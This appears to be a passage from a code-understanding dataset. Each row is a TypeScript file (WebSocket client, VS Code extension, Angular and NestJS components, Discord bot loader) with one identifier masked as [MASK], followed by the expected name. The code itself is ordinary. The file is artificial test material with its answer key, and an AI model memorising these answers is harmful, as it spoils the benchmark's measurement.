  forbidReconnect: boolean = false
  pingTimeoutId: number = -1
  pongTimeoutId: number = -1
  isOnline: boolean = getIsOnline(store.getState())

  constructor(url: string) {
    this.url = url
    this.createWebsocket()
  }

  private createWebsocket() {
    try {
      this.ws = new WebSocket(this.url)
      this.initEventHandle()
    } catch (e) {
      this.reconnect()
      throw e
    }
  }

  private initEventHandle() {
    if (this.ws) {
      this.ws.onclose = () => {
        this.reconnect()
      }
      this.ws.onerror = () => {
        this.reconnect()
      }
      this.ws.onopen = () => {
        console.log(`[WS OPENED](${this.url}) connection succeeded`)
        store.dispatch(configActions.updateDevicesOnlineStatusReducer(true))
        this.send(
          getPayload(
            Signal.SIGNAL_ENTER,
            Target.TARGET_NOTHING,
            false,
            {
              type: ""enter"",
              payload: [],
            },
            [
              {
                authToken: getLocalStorage(""token""),
              },
            ],
          ),
        )
        this.isOnline = true
        this.repeat = 0
        this.heartCheck()
      }
      this.ws.onmessage = (event) => {
        this.onMessage(event)
        this.heartCheck()
      }
    }
  }

  private reconnect() {
    if (this.forbidReconnect) return
    if (this.isOnline) {
      store.dispatch(configActions.updateDevicesOnlineStatusReducer(false))
      this.isOnline = false
    }
    if (REPEAT_LIMIT <= this.repeat) return
    if (this.lockReconnect) return
    this.lockReconnect = true
    this.repeat++
    setTimeout(() => {
      this.createWebsocket()
      this.lockReconnect = false
    }, RECONNECT_TIMEOUT)
  }

  private heartCheck() {
    this.heartReset()
    this.heartStart()
  }

  private heartStart() {
    if (this.forbidReconnect) return
    this.pingTimeoutId = window.setTimeout(() => {
      this.ws?.send(pingMessage)
      this.pongTimeoutId = window.setTimeout(() => {
        if (this.isOnline) {
          store.dispatch(configActions.updateDevicesOnlineStatusReducer(false))
          this.isOnline = false
        }
        this.ws?.close()
      }, HEARTBEAT_PONG_TIMEOUT)
    }, HEARTBEAT_PING_TIMEOUT)
  }

  private heartReset() {
    clearTimeout(this.pingTimeoutId)
    clearTimeout(this.pongTimeoutId)
  }
  public close() {
    this.forbidReconnect = true
    this.heartReset()
    this.ws?.close()
  }
  public onMessage(event: MessageEvent) {
    const message = event.data
    if (typeof message !== ""string"") {
      return
    }

    const dataList = message.split(""\n"")
    dataList.forEach((data: string) => {
      let  [MASK] : Callback<unknown> = JSON.parse(data)
      if ( [MASK] .errorCode === 0) {
        if ( [MASK] .broadcast != null) {
          let broadcast =  [MASK] .broadcast
          let type = broadcast.type
          let payload = broadcast.payload
          switch (type) {
            case `${ADD_DISPLAY_NAME}/remote`: {
              ;(payload as string[]).forEach((name) => {
                DisplayNameGenerator.displayNameList.add(name)
              })
              break
            }
            case `${REMOVE_DISPLAY_NAME}/remote`: {
              ;(payload as string[]).forEach((name) => {
                DisplayNameGenerator.displayNameList.delete(name)
              })
              break
            }
            case `${UPDATE_DISPLAY_NAME}/remote`: {
              DisplayNameGenerator.displayNameList.delete(payload[0])
              DisplayNameGenerator.displayNameList.add(payload[1])
              break
            }
            default: {
              try {
                store.dispatch({
                  type,
                  payload,
                })
              } catch (ignore) {}
            }
          }
        }
      }
    })
  }

  public send(message: string) {
    try {
      this.ws?.send(message)
    } catch (e) {
      console.error(e)
    }
  }
}
",callback
807,"/*
 * Copyright (C) 2017-2020 TypeFox and others.
 *
 * Licensed under the Apache License, Version 2.0 (the ""License""); you may not
 * use this file except in compliance with the License. You may obtain a copy
 * of the License at http://www.apache.org/licenses/LICENSE-2.0
 */

import * as path from 'path';
import * as os from 'os';
import { workspace, commands, Uri, ExtensionContext } from 'vscode';
import {
    LanguageClient, LanguageClientOptions, ServerOptions, Position as LSPosition, Location as LSLocation
} from 'vscode-languageclient';
import { SprottyDiagramIdentifier, SprottyWebview } from 'sprotty-vscode';
import { SprottyLspVscodeExtension, SprottyLspWebview } from 'sprotty-vscode/lib/lsp';
import * as vscode from 'vscode';
let actor_name: string | undefined;

let extension: SprottyLspVscodeExtension | undefined;

export function activate(context: ExtensionContext) {
    extension = new TurnLanguageExtension(context);
}

export function deactivate(): Thenable<void> {
    if (!extension) {
        return Promise.resolve();
    }
    const result = extension.deactivateLanguageClient();
    extension = undefined;
    return result;
}




export class TurnLanguageExtension extends SprottyLspVscodeExtension {

    constructor(context: ExtensionContext) {
        super('turn', context);
    }

    protected async getDiagramType(): Promise<string> {
        let editor_selection = vscode.window.activeTextEditor?.selection
        let selected_text = vscode.window.activeTextEditor?.document.getText(editor_selection)
        if (selected_text === '') {
            if (actor_name === undefined) {
                actor_name = await vscode.window.showInputBox({ prompt: 'Provide Actor Name', ignoreFocusOut: true });
                let sal = vscode.window.activeTextEditor?.selection
                let val = vscode.window.activeTextEditor?.document.getText(sal)
                console.log(sal)
                console.log(val)
            }
        } else {
            actor_name = selected_text
        }
        return 'turn-diagram';
    }

    createWebView(identifier: SprottyDiagramIdentifier): SprottyWebview {
        identifier.clientId = String(actor_name)
        const sprottyView = new SprottyLspWebview({
            extension: this,
            identifier,
            localResourceRoots: ['webview/pack'],
            scriptPath: 'webview/pack/bundle.js'
        });
        return sprottyView;
    }

    protected activateLanguageClient(context: ExtensionContext): LanguageClient {
        const executable = os.platform() === 'win32' ? 'turn-language-server.bat' : 'turn-language-server';
        const serverModule = context.asAbsolutePath(path.join('server', 'bin', executable));

        // If the extension is launched in debug mode then the debug server options are used
        // Otherwise the run options are used
        const serverOptions: ServerOptions = {
            run: {
                command: serverModule,
                args: ['-trace']
            },
            debug: {
                command: serverModule,
                args: ['-Xdebug', '-Xrunjdwp:server=y,transport=dt_socket,address=8000,suspend=n,quiet=y', '-Xmx256m']
            }
        }

        // Options to control the language client
        const clientOptions: LanguageClientOptions = {
            // Register the server for plain text documents
            documentSelector: ['turn'],
            synchronize: {
                // Synchronize the setting section 'turnLanguageServer' to the server
                configurationSection: 'turnLanguageServer',
                // Notify the server about file changes to '.turn files contain in the workspace
                fileEvents: workspace.createFileSystemWatcher('**/*.turn')
            }
        }

        // Create the language client and start the client.
        const languageClient = new LanguageClient('turnLanguageServer', 'Turn Language Server', serverOptions, clientOptions);
        const disposable = languageClient.start()

        commands.registerCommand('turn.show.references', (uri: string, position: LSPosition,  [MASK] : LSLocation[]) => {
            commands.executeCommand('editor.action.showReferences',
                Uri.parse(uri),
                languageClient.protocol2CodeConverter.asPosition(position),
                 [MASK] .map(languageClient.protocol2CodeConverter.asLocation));
        })

        commands.registerCommand('turn.apply.workspaceEdit', (obj: any) => {
            const edit = languageClient.protocol2CodeConverter.asWorkspaceEdit(obj);
            if (edit) {
                workspace.applyEdit(edit);
            }
        });

        // Push the disposable to the context's subscriptions so that the
        // client can be deactivated on extension deactivation.
        context.subscriptions.push(disposable);

        return languageClient;
    }
}
",locations
808,"import { Injectable, Logger, Scope } from '@nestjs/common';
import { JwtHelperService } from '../core';
import { OmsApiClient } from './oms-api-client';
import { get } from 'lodash';
import { GetPageTemplatesService } from './getPage-templates.service';

@Injectable({ scope: Scope.REQUEST })
export class AppeaseCustomerService {
  private readonly logger = new Logger(AppeaseCustomerService.name);

  constructor(
    private readonly omsClient: OmsApiClient,
    private jwtHelperService: JwtHelperService,
    private templatesSvc: GetPageTemplatesService,
  ) {}

  public async getAppeaseReasonList( [MASK] : string): Promise<any> {
    this.logger.log(`Fetching appease reason list for enterprise code: ${ [MASK] }`);
    const Template = this.templatesSvc.getPageTemplate('common', 'getCommonCodeList');
    return this.omsClient
      .getPageAsync(
        {
          Name: 'getCommonCodeList',
          Input: {
            CommonCode: {
              CallingOrganizationCode:  [MASK] ,
              CodeType: 'YCD_APPEASEMENT_RSN',
              DisplayLocalizedFieldInLocale: 'xml:CurrentUser:/User/@Localecode',
              DocumentType: '0001',
            },
          },
          Template,
        },
        this.jwtHelperService.jwt,
      )
      .then((res) => get(res, 'Output.CommonCodeList.CommonCode'));
  }
}
",enterpriseCode
809,"import { Component,ViewChild, ElementRef, AfterViewInit, OnInit } from '@angular/core';
import { Router, ActivatedRoute, Params } from '@angular/router';

declare var jQuery:any;
declare var $:any;

@Component({
selector:'client',
styleUrls:['./experience.style.css','animate.min.css'],
templateUrl:'./experience.view.html'
})
export class ExperienceComponent implements OnInit   {
  
ngOnInit(){
$( ""#div_admin-form9"" ).ready(function() {
       $('#div_admin-form9').addClass('animated bounce');
});


 jQuery(document).ready(function () {
     ""use strict"";
  $(""#datepicker4"").mask(""99/99/9999"");
   $('#datepicker4').datepicker({
       numberOfMonths: 1,
       changeYear: true,
       dateFormat: ""dd-mm-yy"",
       yearRange: ""1970:Y"",
       showOn: 'both',
       monthNames: [ ""Ene"", ""Feb"", ""Mar"", ""Abr"", ""May"", ""Jun"", ""Jul"", ""Ago"", ""Sep"", ""Oct"", ""Nov"", ""Dic"" ],
       dayNamesMin:[ ""Do"",""Lu"",""Ma"",""Mi"",""Ju"",""Vi"",""Sa"" ],
       buttonText: '<i class=""fa fa-calendar-o""></i>',
       prevText: '<i class=""fa fa-chevron-left""></i>',
       nextText: '<i class=""fa fa-chevron-right""></i>',
       beforeShow: function (input, inst) {
         var newclass = 'admin-form';
         var themeClass = $(this).parents('.admin-form').attr('class');
         var smartpikr = inst.dpDiv.parent();
         if (!smartpikr.hasClass(themeClass)) {
           inst.dpDiv.wrap('<div class=""' + themeClass + '""></div>');
         }
       }
     });
    
     /* @date picker
      ------------------------------------------------------------------ */
   $('#datepicker5').datepicker({
       numberOfMonths: 1,
       changeYear: true,
       dateFormat: ""dd-mm-yy"",
       yearRange: ""1970:Y"",
       showOn: 'both',
       monthNames: [ ""Ene"", ""Feb"", ""Mar"", ""Abr"", ""May"", ""Jun"", ""Jul"", ""Ago"", ""Sep"", ""Oct"", ""Nov"", ""Dic"" ],
       dayNamesMin:[ ""Do"",""Lu"",""Ma"",""Mi"",""Ju"",""Vi"",""Sa"" ],
       buttonText: '<i class=""fa fa-calendar-o""></i>',
       prevText: '<i class=""fa fa-chevron-left""></i>',
       nextText: '<i class=""fa fa-chevron-right""></i>',
       beforeShow: function (input, inst) {
         var newclass = 'admin-form';
         var themeClass = $(this).parents('.admin-form').attr('class');
         var smartpikr = inst.dpDiv.parent();
         if (!smartpikr.hasClass(themeClass)) {
           inst.dpDiv.wrap('<div class=""' + themeClass + '""></div>');
         }
       }
     });
     
     /* @ui slider
      ------------------------------------------------------------------ */
     $(""#slider1"").slider({
       range: ""min"",
       min: 0,
       max: 100,
       value: 30,
       slide: function (event, ui) {
         $("".slider-countbox"").val(""$"" + ui.value);
       }
     });
     $(""#slider2"").slider({
       range: true,
       values: [27, 63]
     });
     $(""#slider3"").slider({
       range: true,
       values: [7, 53]
     });
     $(""#slider4"").slider({
       range: true,
       values: [57, 93]
     });
     $(""#slider5"").slider({
       range: true,
       values: [37, 63]
     });
     // Demo Code - Form Switcher
     $('#form-switcher > button').on('click', function () {
       var btnData = $(this).data('form-layout');
       var btnActive = $('#form-elements-pane .admin-form.active');
       // Remove any existing animations and then fade current form out
       btnActive.removeClass('slideInUp').addClass('animated fadeOutRight animated-shorter');
       // When above exit animation ends remove leftover classes and animate the new form in
       btnActive.one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function () {
         btnActive.removeClass('active fadeOutRight animated-shorter');
         $('#' + btnData).addClass('active animated slideInUp animated-shorter')
       });
     });
     // Cache several DOM elements
     var pageHeader = $('.content-header').find('b');
     var adminForm = $('.admin-form');
     var options = adminForm.find('.option');
     var switches = adminForm.find('.switch');
     var buttons = adminForm.find('.button');
     var Panel = adminForm.find('.panel');
     // Form Skin Switcher
     $('#skin-switcher a').on('click', function () {
       var btnData = $(this).data('form-skin');
       $('#skin-switcher a').removeClass('item-active');
       $(this).addClass('item-active')
       adminForm.each(function (i, e) {
         var skins = 'theme-primary theme-info theme-success theme-warning theme-danger theme-alert theme-system theme-dark'
         var  [MASK]  = 'panel-primary panel-info panel-success panel-warning panel-danger panel-alert panel-system panel-dark'
         $(e).removeClass(skins).addClass('theme-' + btnData);
         Panel.removeClass( [MASK] ).addClass('panel-' + btnData);
         pageHeader.removeClass().addClass('text-' + btnData);
       });
       $(options).each(function (i, e) {
         if ($(e).hasClass('block')) {
           $(e).removeClass().addClass('block mt15 option option-' + btnData);
         } else {
           $(e).removeClass().addClass('option option-' + btnData);
         }
       });
       // var sliders = $('.ui-timepicker-div', adminForm).find('.ui-slider');
       $('body').find('.ui-slider').each(function (i, e) {
         $(e).addClass('slider-primary');
       });
       $(switches).each(function (i, ele) {
         if ($(ele).hasClass('switch-round')) {
           if ($(ele).hasClass('block')) {
             $(ele).removeClass().addClass('block mt15 switch switch-round switch-' + btnData);
           } else {
             $(ele).removeClass().addClass('switch switch-round switch-' + btnData);
           }
         } else {
           if ($(ele).hasClass('block')) {
             $(ele).removeClass().addClass('block mt15 switch switch-' + btnData);
           } else {
             $(ele).removeClass().addClass('switch switch-' + btnData);
           }
         }
       });
       buttons.removeClass().addClass('button btn-' + btnData);
     });
     setTimeout(function () {
       adminForm.addClass('theme-primary');
       Panel.addClass('panel-primary');
       pageHeader.addClass('text-primary');
       $(options).each(function (i, e) {
         if ($(e).hasClass('block')) {
           $(e).removeClass().addClass('block mt15 option option-primary');
         } else {
           $(e).removeClass().addClass('option option-primary');
         }
       });
       // var sliders = $('.ui-timepicker-div', adminForm).find('.ui-slider');
       $('body').find('.ui-slider').each(function (i, e) {
         $(e).addClass('slider-primary');
       });
       $(switches).each(function (i, ele) {
         if ($(ele).hasClass('switch-round')) {
           if ($(ele).hasClass('block')) {
             $(ele).removeClass().addClass('block mt15 switch switch-round switch-primary');
           } else {
             $(ele).removeClass().addClass('switch switch-round switch-primary');
           }
         } else {
           if ($(ele).hasClass('block')) {
             $(ele).removeClass().addClass('block mt15 switch switch-primary');
           } else {
             $(ele).removeClass().addClass('switch switch-primary');
           }
         }
   
       });
       buttons.removeClass().addClass('button btn-primary');
     }, 800);
   });
   $(""#admin-form"").validate({
     /* @validation states + elements
      ------------------------------------------- */
     errorClass: ""state-error"",
     validClass: ""state-success"",
     errorElement: ""em"",
     /* @validation rules
      ------------------------------------------ */
     rules: {
       company: {
         required: true,
         maxlength: 18,
         minlength: 3
       },
       datepicker4: {
         required: true,
         dateITA : true,
       },
       datepicker5: {
         required: true,
         date: true,
         dateITA : true,
       }
     },
     /* @validation error messages
      ---------------------------------------------- */
     messages: {
       company: {
         required: 'Nombre de empresa| requerido',
         maxlength: 'El nombre de la empresa debe ser menor en longitud',
         minlength: 'El nombre de la empresa debe ser mayor en longitud'
       },
       datepicker4:{
         required: 'Fecha requerida'
       },
       datepicker5:{
         required: 'Fecha requerida'
       }
     },
     /* @validation highlighting + error placement
      ---------------------------------------------------- */
     highlight: function (element, errorClass, validClass) {
       $(element).closest('.field').addClass(errorClass).removeClass(validClass);
     },
     unhighlight: function (element, errorClass, validClass) {
       $(element).closest('.field').removeClass(errorClass).addClass(validClass);
     },
     errorPlacement: function (error, element) {
       if (element.is("":radio"") || element.is("":checkbox"")) {
         element.closest('.option-group').after(error);
       } else {
         error.insertAfter(element.parent());
       }
     },
      submitHandler: function(form) {
          alert(""hola y adios"");
          $(""#job"").attr(""value"",""OTRO TEXTO"");
          form.submit();
     }   
     
 });
}

constructor(){
 console.log(""experience"");
}
public mostrarTitulo(){
    console.log(""click"");
    // Usamos jQuery con normalidad
    $(""#prueba"").hide();
  }

}
",panelSkins
810,"interface IPage {
    citation: string;
    d: string;
    dzi: string;
    enum: string;
    h: number;
    s: string;
    t: string;
    w: number;
}
interface IBook {
    file_ext: string;
    root: string;
    thumb_ext: string;
    volume_count: number;
    pages: IPage[];
}

interface Paths {
    relative: string;
    url: string;
    disk: string;
}

const data = <IBook> require('./data.js');
const { spawnSync } = require('child_process');
const { dirname } = require(""path"");

const paths = data.pages.map((page, idx, pages) => {
    return <Paths> {
        relative: page.d,
        url: data.root + page.d,
        disk: '.' + page.d
    }
});

paths.forEach( ( [MASK] , idx, all) => {
    spawnSync('mkdir', ['-p', dirname(__dirname+ '/' + [MASK] .relative)]);
    spawnSync('curl', [  [MASK] .url, '-o', __dirname+ '/' +  [MASK] .relative ]);
    console.log(""Completed ""+__dirname+ '/' +  [MASK] .relative+""."");
});

console.log(""Done"");",pathset
811,"import {App, IonicApp, Platform, MenuController} from 'ionic-angular';
import {ProjectsPage} from './pages/projects/projects';
import {ActivitiesPage} from './pages/activities/activities';
import {LoginPage} from './pages/login/login';
import {SettingsPage} from './pages/settings/settings';
import {TimerPage} from './pages/timer/timer';
import {LogProvider} from './services/log-provider/log-provider.svc';

// https://angular.io/docs/ts/latest/api/core/Type-interface.html
import {Type} from 'angular2/core';


@App({
  templateUrl: `build/app.html`,
  providers: [LogProvider],
  config: {} // http://ionicframework.com/docs/v2/api/config/Config/
})
export class MyApp {
  app: IonicApp;
  rootPage: Type = ProjectsPage;
  menu: MenuController;
  loginPage: Type = LoginPage;
  settingsPage: Type = SettingsPage;
  timerPage: Type = TimerPage;

  constructor(app: IonicApp,  [MASK] : Platform, menu: MenuController) {
     [MASK] .ready().then(() => {
      this.app = app;
      this.menu = menu;
    });
  }

  openPage(page) {
    this.menu.close();
    let nav = this.app.getComponent('nav');
    nav.setRoot(page);
  }
}
",platform
812,"import { EventManager, ForgeClient, ForgeExtension, FunctionManager } from '@tryforge/forgescript'
import { Connectors, type ShoukakuOptions, type NodeOption, ShoukakuEvents } from 'shoukaku'
import { Kazagumo, Plugins, type KazagumoEvents, type KazagumoOptions, type KazagumoPlugin } from 'kazagumo'
import KazagumoFilter from 'kazagumo-filter'
import { KazagumoCommandManager } from '@managers/KazagumoCommandManager'
import { ShoukkauCommandManager } from '@managers/ShoukakuCommandManager'
import { join } from 'path'



export interface ForgeLinkSetupOptions {
    /**
     * The events the extension should listen to.
     */
    events?: {
        kazagumo?: (keyof KazagumoEvents)[]
        shoukaku?: (keyof ShoukakuEvents)[]
    }
    /**
     * Kazagumo class options.
     */
    kazagumoOptions: Omit<KazagumoOptions, 'send'>
    /**
     * The lavalink nodes to connect.
     * @example
     * nodes: [{
     *     name: '<NAME>',
     *     auth: '<PASSWORD>',
     *     url: 'lava.botforge.fs:3250',
     *     secure: false
     * }]
     */
    nodes: NodeOption[]
    /**
     * Shoukaku core options.
     */
    shoukakuOptions?: ShoukakuOptions
}

export class ForgeLink extends ForgeExtension {
    name = 'ForgeLink'
    description = '...'
    version = '1.1.0-dev'
    #e: Kazagumo | null = null
    #kc: KazagumoCommandManager
    #sc: ShoukkauCommandManager
    constructor(public options: ForgeLinkSetupOptions) {
        super()
    }
    init(client: ForgeClient): void {
        this.#e = new Kazagumo(
            {
                ...this.options.kazagumoOptions,
                send(guildId,  [MASK] ) {
                    const guild = client.guilds.cache.get(guildId);
                    if (guild) guild.shard.send( [MASK] );
                },
                plugins: [new KazagumoFilter()]
            },
            new Connectors.DiscordJS(client),
            this.options.nodes,
            this.options.shoukakuOptions,

            
              

        )
        this.#kc = new KazagumoCommandManager(client)
        this.#sc = new ShoukkauCommandManager(client)

        FunctionManager.load('ForgeLink', join(__dirname, '../../natives'))
        EventManager.load('kazagumoCommands', join(__dirname, '../../events/kazagumo'))
        EventManager.load('shoukakuCommands', join(__dirname, '../../events/shoukaku'))

        client.events.load('kazagumoCommands', this.options.events?.kazagumo ?? [])
        client.events.load('shoukakuCommands', this.options.events?.shoukaku ?? [])
    }
    get kazagumo(): Kazagumo {
        return this.#e
    }
    get commands() {
        return {
            kazagumo: this.#kc,
            shoukaku: this.#sc
        }
    }
}",payload
813,"export module MathChecker {
  export class MathChecker {
    cp: number; // the cursor position;
    cln: number; // the cursor line number;
    textLst: string[]; // the text list;
    constructor(cln: number, cp: number, textLst: string[]) {
      this.cp = cp;
      this.cln = cln;
      // map testLst to this.testLst but replacing all the ""\$"" with ""¡¡"";
      // and replacing all the ""\`"" with ""££""
      // and replacing all the ""`(.*?)`"" with ""¡"" of equal length;
      this.textLst = textLst
        .map(line => line.replace(/\\\$/g, ""¡¡"").replace(/\\\`/g, ""££""))
        .map(line =>
          line.replace(/`([^`]+?)`/g, (match, p1) => {
            let len = p1.length;
            let str = """";
            for (let i = 0; i < len; i++) {
              str += ""¡"";
            }
            return `¡${str}¡`;
          })
        );
    }
    // get the line text;
    getLineStr(ln: number = this.cln): string {
      return this.textLst[ln];
    }
    // get the character at the cursor position;
    getCharStr(cp: number = this.cp, ln: number = this.cln): string {
      return this.getLineStr().charAt(this.cp);
    }
    // checks the block;
    checkBlock(separator: string): boolean {
      // iterate through the text list and count the number of ""$$"" before the cursor position;
      let countBefore: number = 0;
      for (let i = 0; i < this.cln; i++) {
        countBefore += this.textLst[i].split(separator).length - 1;
      }
      // count the number of ""$$"" before the cursor position in the current line;
      countBefore +=
        this.getLineStr()
          .substring(0, this.cp)
          .split(separator).length - 1;
      // return true and avoid the other calculation if previous things are odd;
      if (countBefore % 2 == 0) {
        return false;
      }
      // count the number of ""$$"" after the cursor position in the current line;
      let countAfter: number = 0;
      countAfter +=
        this.getLineStr()
          .substring(this.cp)
          .split(separator).length - 1;
      // count the number of ""$$"" after the cursor position in the following lines;
      for (let i = this.cln + 1; i < this.textLst.length; i++) {
        countAfter += this.textLst[i].split(separator).length - 1;
      }
      if (countAfter % 2 == 0) {
        return false;
      } else {
        return true;
      }
    }
    // checks the block math;
    checkBlockMath(): boolean {
      const inCode = this.checkBlock(""```"");
      const  [MASK]  = this.checkBlock(""$$"");
      if (inCode) {
        return false;
      } else {
        return  [MASK] ;
      }
    }

    // checks the inline math;
    checkInlineMath(): boolean {
      // find the number of ""$"" before the cursor position in the current line;
      let countBefore: number = 0;
      countBefore +=
        this.getLineStr()
          .substring(0, this.cp)
          .split(""$"").length - 1;
      // return true and avoid the other calculation if previous things are odd;
      if (countBefore % 2 == 0) {
        console.log(""breakpoint 1, "" + countBefore);
        console.log(
          this.getLineStr()
            .substring(0, this.cp)
            .split(""$"")
        );
        return false;
      }
      // find the number of ""$"" after the cursor position in the current line;
      let countAfter: number = 0;
      countAfter +=
        this.getLineStr()
          .substring(this.cp)
          .split(""$"").length - 1;
      // return true and avoid the other calculation if previous things are odd;
      if (countAfter % 2 == 0) {
        console.log(""breakpoint 2"");
        return false;
      } else {
        console.log(""breakpoint 3"");
        return true;
      }
    }
    checkInMath(): boolean {
      return this.checkInlineMath() || this.checkBlockMath();
    }
  }
}
",inBlockMath
814,"import { ChangeDetectionStrategy, Component, OnDestroy } from '@angular/core';

import { commandConstructorFormFieldsMap } from '../shared/constants';
import { Devices, FormControlNames, ICommandConstructorField, OperatingSystems } from '../shared/models/command-constructor-form';
import { UntypedFormBuilder, UntypedFormControl, UntypedFormGroup } from '@angular/forms';
import { Subject } from 'rxjs';
import { takeUntil } from 'rxjs/operators';
import { MessagesService } from '../shared/services/messages.service';
import { OSDetector } from '../shared/models/os-detector';

@Component({
  selector: 'wb-command-constructor',
  templateUrl: './command-constructor.component.html',
  styleUrls: [ './command-constructor.component.scss' ],
  changeDetection: ChangeDetectionStrategy.OnPush
})
export class CommandConstructorComponent implements OnDestroy {
  // TODO Add service and/or json file for messages

  public generalOptionsFields = [
    commandConstructorFormFieldsMap[FormControlNames.DOCKER_INSTALLED],
    commandConstructorFormFieldsMap[FormControlNames.OS],
    commandConstructorFormFieldsMap[FormControlNames.DEVICES],
  ];

  public advancedOptionsFields = [
    commandConstructorFormFieldsMap[FormControlNames.START_WITH],
    commandConstructorFormFieldsMap[FormControlNames.HTTP_PROXY],
    commandConstructorFormFieldsMap[FormControlNames.HTTPS_PROXY],
    commandConstructorFormFieldsMap[FormControlNames.NO_PROXY],
  ];

  public commandFormGroup: UntypedFormGroup = null;

  public incompatibleDevicesSelected = false;

  public readonly messages = this.messagesService.messages;

  private unsubscribe$ = new Subject();

  constructor(private fb: UntypedFormBuilder, private messagesService: MessagesService) {
    this.commandFormGroup = this._buildFormGroup([
      ...this.generalOptionsFields,
      ...this.advancedOptionsFields,
    ]);
    const devicesField = commandConstructorFormFieldsMap[FormControlNames.DEVICES];
    // Disable devices for selected OS
    this.commandFormGroup.get(FormControlNames.OS).valueChanges.pipe(takeUntil(this.unsubscribe$)).subscribe((os: OperatingSystems) => {
      if (os !== OperatingSystems.LINUX) {
        this.commandFormGroup.get(FormControlNames.DEVICES).setValue([ Devices.CPU ]);
        const allDevices = [ ...devicesField.options ].map(({ value }) => value as string);
        devicesField.disabledOptions.next(allDevices);
      } else {
        devicesField.disabledOptions.next([ Devices.CPU ]);
      }
    });
    // Disable HDDL and NCS2 devices to prevent simultaneous selection
    this.commandFormGroup.get(FormControlNames.DEVICES).valueChanges.pipe(takeUntil(this.unsubscribe$)).subscribe((devices: Devices[]) => {
      this.incompatibleDevicesSelected = devices.includes(Devices.NCS2) || devices.includes(Devices.HDDL);

      const  [MASK]  = devicesField.disabledOptions.getValue();
      if (devices.includes(Devices.NCS2)) {
        devicesField.disabledOptions.next([ ... [MASK] , Devices.HDDL ]);
      } else if (devices.includes(Devices.HDDL)) {
        devicesField.disabledOptions.next([ ... [MASK] , Devices.NCS2 ]);
      } else {
        devicesField.disabledOptions.next([ Devices.CPU ]);
      }
    });
    // Set OS control value with detected platform
    this.commandFormGroup.get(FormControlNames.OS).setValue(OSDetector.os);
  }

  private _buildFormGroup(fields: ICommandConstructorField[]): UntypedFormGroup {
    const controlsConfig = fields.reduce((acc, field) => {
      acc[field.name] = new UntypedFormControl(field.value);
      return acc;
    }, {});
    return this.fb.group(controlsConfig);
  }

  ngOnDestroy(): void {
    this.unsubscribe$.next();
    this.unsubscribe$.complete();
  }
}
",currentDisabledDevices
815,"import Eris from ""eris"";
import fs from ""node:fs"";
import path from ""node:path"";
import Config from ""./Config"";
import startServer from ""./web/HopeServer"";
import glob from ""glob-promise"";
import moment from ""moment"";
import * as Sentry from ""@sentry/node"";
import { ProfilingIntegration } from ""@sentry/profiling-node"";
import osu from ""node-osu"";
import { EnkaClient } from ""enka-network-api"";
import { Mal } from ""node-myanimelist"";
import Booru from ""booru"";
import Kitsu from ""kitsu"";
import { Client } from ""pg"";
import init from ""./database/init"";

const bot = Eris(Config.Token, {
    intents: [
        ""all"",
    ],
});
const giphy = require(""giphy-api"")(Config.GiphyToken);
const osuApi = new osu.Api(Config.osuApiKey, {});
const genshinApi = new EnkaClient();
const malAuth = Mal.auth(Config.MALApiKey);
const malApi = malAuth.Unstable.login(Config.MALLogin, Config.MALPassword);
const kitsuApi = new Kitsu();
const postgreClient = new Client({
    user: Config.DatabaseUser,
    host: Config.DatabaseHost,
    database: Config.DatabaseName,
    password: Config.DatabasePassword,
    port: Config.DatabasePort,
});
Sentry.init({
    dsn: Config.SentryDsnUrl,
    integrations: [
        new ProfilingIntegration(),
    ],
    tracesSampleRate: 1.0,
    profilesSampleRate: 1.0,
});

const log = (message: string): any => {
    console.log(`[${moment().format(""DD-MM-YYYY HH:MM:ss"")}]: ${message}`);
};

const logError = (message: string): any => {
    console.error(`[${moment().format(""DD-MM-YYYY HH:MM:ss"")}]: ${message}`);
};

const footer = (message: Eris.Message) => {
    return {
        text: `Invoked by ${message.author.username}`,
        icon_url: message.author.avatarURL,
    }
};

const loadEvents = async (bot: Eris.Client) => {
    log(`⏳ Loading events...`)
    await glob(`dist/events/*.js`).then(async ( [MASK] : string[]) => {
        for (const eventFile of  [MASK] ) {
            try {
                const { default: event } = await import(path.join(process.cwd(), eventFile));
                if (typeof event.run === ""function"") {
                    bot.on(event.name, event.run.bind(null, bot));
                } else {
                    logError(""❌ Invalid event file, run function is missing"");
                }
            } catch (exception: any) {
                logError(`❌ Failed to load events: ${exception}`);
            }
        }        
    });
};

const loadModules = async (bot: Eris.Client) => {
    log(""⌛ Loading modules..."");
    await glob(`dist/modules/**/index.js`).then(async (moduleFiles: string[]) => {
        for (const moduleFile of moduleFiles) {
            try {
                const { default: module } = await import(path.join(process.cwd(), moduleFile));
                if (typeof module.run === ""function"") {
                    if (module.enabled) {
                        if (module.name === ""logger"")
                            bot.on(""messageCreate"", (message: Eris.Message) => {
                                module.run(bot, message);
                            });
                        else
                            bot.on(""connect"", (message: Eris.Message) => {
                                module.run(bot, message);
                            });
                    } else {
                        log(`📴 Module ${module.name} is disabled`);
                    }
                } else {
                    logError(""❌ Invalid module file, run function is missing"");
                }
            } catch (exception: any) {
                logError(`❌ Failed to load modules: ${exception}`)
            }
        }
    });
};

let commands = [];
const loadCommands = async (bot: Eris.Client) => {
    log(`⏳ Loading commands...`)
    await glob(`dist/commands/**/**/*.js`).then(async (commandFiles: string[]) => {
        for (const commandFile of commandFiles) {
            try {
                const { default: command } = await import(path.join(process.cwd(), commandFile));
                if (command.enabled) {
                    commands.push(command);
                } else {
                    log(`📴 Command ${command.name} is disabled`);
                }
                if (typeof command.execute === ""function"") {
                    bot.on(""messageCreate"", (message: Eris.Message) => {
                        const content = message.content.trim();

                        if (content.startsWith(Config.Prefix)) {
                            const args = content.slice(Config.Prefix.length).split("" "");
                            const commandName = args.shift()?.toLowerCase();

                            if (commandName === command.name.toLowerCase()) {
                                command.execute(bot, message, args);
                            }
                        }
                    });
                } else {
                    logError(`❌ Invalid command file, execute function in ${commandFile} is missing`);
                }
            } catch (exception: any) {
                logError(`❌ Failed to load commands: ${exception}`);
            }
        }
    });
};

const start = async () => {
    await postgreClient.connect()
        .then(log(""🌸 Connected to database""))
        .catch(exception => logError(`❌ Failed to connect to database: ${exception}`));
    await init.init(postgreClient);
    await loadEvents(bot);
    await loadModules(bot);
    await loadCommands(bot);
    await Promise.all([startServer(), bot.connect()]);
}
start();

export default {
    log,
    logError,
    footer,
    commands,
    giphy,
    osuApi,
    genshinApi,
    malApi,
    Booru,
    kitsuApi,
    postgreClient,
};",eventsFiles
816,"import axios from ""axios"";

import * as model from ""./model"";

// Client requests are made relative to the resolved URL (as desired). Server
// requests need to be made to the local proxy, as to avoid extra latency
